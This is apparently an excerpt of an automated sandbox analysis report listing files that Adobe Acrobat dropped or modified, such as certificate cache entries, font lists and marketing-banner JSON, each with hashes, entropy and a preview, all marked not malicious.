SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklxbV+kltfllXlE/HT8kirzllXNNX8RolJuRdxLlGB9lQRYwpDdt:kKk+seT8rl7NMa8RdWBwRd
MD5:	1CDC826DA1326B59DB34EF4D4A4D8BF8
SHA1:	BD18867A1DAEEBA8A88B7457C304AF0B8A421907
SHA-256:	150236046C879A76236B85F322B7CAE3469202C42E04042743BACFB265A13754
SHA-512:	8EF9E58CB39D816F39239CD06B4A758F0D6F8FAAF4078ED3609F54344486F5E424DA82793EAA046176651BF007F34CBF3FB365E3ED8A340F887C74FB0DBD1B60
Malicious:	false
Preview:	p...... .........>m..c..(....................................................... ..........W....G...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKzPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ziDImsLNkPlE99SNxAhUe/3
MD5:	95F4C512380F008E45F8DFA38855A259
SHA1:	B549DA6483FC401DD9557997B3887EE770BACE71
SHA-256:	F3E734306EE1A8751438B6D103738B05FD0C96FEDD6A26FC8C30F0401E1E6343
SHA-512:	2A05578DBF9D57DD852991BD9E93ED294E74A9D809BFBA72E9E3EF78291BCFAEE3208F3BD4495E9C45853E16D0ACA0A8CFD79AC1C0AFB2769D3DE22156714739
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3160

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3160

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350253959653649
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJM3g98kUwPeUkwRe9:YvXKXCxDgYvR/ZwHAbGMbLUkee9
MD5:	2514CE1AF84F33C68F6219A686C754FD
SHA1:	2A8B6A2945FA1D799E644BB091394C2E5DAFB8CE
SHA-256:	2B2056F2312EDB74CAB1C7E836457809CA59596B7AAC58202C3556E8257EC142
SHA-512:	735C23692C4E41BB98376CB56B9F5A3F775495EE6C2E550BE8FD5EA63E908DC02D65F4D0276ED51DC597C0C117526C0996D91A07A79D91D6AFA9C768E47E5CCD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28872979612013
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfBoTfXpnrPeUkwRe9:YvXKXCxDgYvR/ZwHAbGWTfXcUkee9
MD5:	4DE60EDE4B6771500A35CC94B6B02F61
SHA1:	BBE20545C4D3B454B0DEC73062E80062D3FAE32F
SHA-256:	3C43270994819BB74FA39AF4C8019A88916DFD4AC46FB1652106AEE1D5DDDF34
SHA-512:	9A51E117E23D401C5EC42733CAA85758D5484C71805E72E07FE0C0F291A1B12D519C198890044C4C3F0989E395D0A4F0951D48D876161A22FEED8F2BEDD89E11
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26589514996531
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfBD2G6UpnrPeUkwRe9:YvXKXCxDgYvR/ZwHAbGR22cUkee9
MD5:	D848E5D3C7D461463FBC8C309838142D
SHA1:	51FB56029889DAAE1DA05F19792F6DF64C601588
SHA-256:	8761FFA7C190291DF8E0A803BD8218E9BCAE1E3D7A8C4DA51FF5BA0F0ED8C9B3
SHA-512:	094F1673E0CAEDF64399ADC70CB995E272EE1CE2F0FE466FAD20C7E170314160828C00DC6D9BD9C28A9978A26D6DD52828B0EE4AFE534EB9F0A8E202BBCAEF1E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.326742526316015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfPmwrPeUkwRe9:YvXKXCxDgYvR/ZwHAbGH56Ukee9
MD5:	63589E356741293C46D3890FD8F4024A
SHA1:	14EF7B06703A3B8F3CEE2666AFFB7AFE940E76F9
SHA-256:	82065740F9E01467A6A041B07BB90648CB0299C6BA3E13917530801A39C6C8C0
SHA-512:	240F9A73612FB599E04344B1ED4247D7B6211276E502F4FC60D7A027AEE0ADB35E448CD44A04C3CEC0F815C4A442AF1A30C752BFA246DA26EDABDF6241650313
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682084890294482
Encrypted:	false
SSDEEP:	24:Yv6XsJhkpLgE9cQx8LennAvzBvkn0RCmK8czOCCSs:YvFJhkhgy6SAFv5Ah8cv/s
MD5:	1E8FA0D3FC7222AB2CFF56B4627290FE
SHA1:	307790D2387997D0A7E0FE3E4B7EB85A77453C74
SHA-256:	A37EDDC7F1451F1028ACDCE68415ADAA2BDFA0A3B52DB07123C7B7A1416353B3
SHA-512:	4086C19AF8F046900D0D61E1DBD09A4BC66027E6914801C91AD87C87C2DC2E463B47ACD2939542E1F8B8613F9BBAEA9CB2E177425DFB020A750C9CA54D4B2D19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273862077498841
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJf8dPeUkwRe9:YvXKXCxDgYvR/ZwHAbGU8Ukee9
MD5:	FDA83A3341EF2D58FDCF7FD6D140D45C
SHA1:	3EE47E824A7BBDE9AD7C3E6E42F1C20E4A880681
SHA-256:	3549ED06BE1FE4B64EC41B40F98EF256C83597A45BB69B8EE6DFB4E9AC7D4DBA
SHA-512:	3FE829CCB835BF86BC8A0FB0CCAAB121F97DA59B7A3A84CCB34D4E0D56D4A7AB181F40C83DFFFEC8D2D7CE2C160CF79B71DD65C8D49DDBC9B79AF4090C33E669
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.273409382216844
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfQ1rPeUkwRe9:YvXKXCxDgYvR/ZwHAbGY16Ukee9
MD5:	CA2F51ABB80A5938AFB25F23F713C89A
SHA1:	B89AE9B0CDFDE23CA7022A58CFF587F05BE1D090
SHA-256:	63BF73719F0F87CE94C6642F35A10D87CD9EF3AE1F0EFDD061B5DC367D227B87
SHA-512:	3AA385F06D84B82C10BC5678682809FD29D34A58BD479F1CAFDA58112EC545C3E5CC902D255C0963CA853D53E2D53EE19A97342F746F914AFED534D5149AE0A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288364686935507
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfFldPeUkwRe9:YvXKXCxDgYvR/ZwHAbGz8Ukee9
MD5:	1BB36D65CD4CC81438FA69EFC418A83A
SHA1:	178B7F49C7F15EC11ACC7220CDB8EB6B99E2A0CB
SHA-256:	9317E50119984B0422485B88F2F302686A18FC1797BD9DE288740FAF5C89630C
SHA-512:	23BD3252770005FA0BFA7606D381D341D9415CFCD9BC96AE56174778722CF48381A733DFA9418BA0C7C01BC0692C35FB3F7C6427C0B6B14AF6A71FD664AD7D84
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.303588430984168
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfzdPeUkwRe9:YvXKXCxDgYvR/ZwHAbGb8Ukee9
MD5:	AF7CC4BA3FB9CEBABC31050AC0B26EF4
SHA1:	FFF1914A32F141015ECCE201AAF5878C6C390CAA
SHA-256:	3D8280A4C49DB7D85FE57048470C16625832F3D296010079434AC03F92DC6944
SHA-512:	7F6F9986E364435B0B6DC3C5E6E9C6FB39811FF11017270DBD42C2E7DE6DF693C76FAAB6808C3312DD873033FEFF9C184678F288A40CD94E1DD52996106BD86E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284182138689185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJfYdPeUkwRe9:YvXKXCxDgYvR/ZwHAbGg8Ukee9
MD5:	70951978731E8F1E818A452D2D7D771A
SHA1:	415A49AA867D7E8626DC3FA7AB4081CA9C96B31A
SHA-256:	5903B370766A8E6C935D18AB6D916B18F084846FB0F5D558D92DC977A4F57E79
SHA-512:	FBD8D0CF05F2CB7595BA7BFA42D65641107E6470A8F1A1F95DB523F265FFEA2CABDCDC99106DB69C57FC8044394B20C73BAA0550B3DB545AA6E702C5734941D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.269636326505236
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCxDgnYvB3/dVlPIHAR0YAtoAvJf+dPeUkwRe9:YvXKXCxDgYvR/ZwHAbG28Ukee9
MD5:	77D8BA3295119131B157D9ACA9A56FB6
SHA1:	537689230F9BB1D6118236B1C0A3F1690AD1EB6D
SHA-256:	6E223D52D4B8B03509F69CA7CC549C3C89C7E42C43BA1564372670A1B3E39B1E
SHA-512:	599B4657127468E6407E895D1E6BA14F7EF914C9A1F025404E90BBED5CCB64B7860E9322C79E666F895B9A4F3C55B20F60AE5CFBB81FC7C00A9948282AD28144
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"da3a2d47-65db-41b6-9999-ca66c65c69c5","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736739237265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
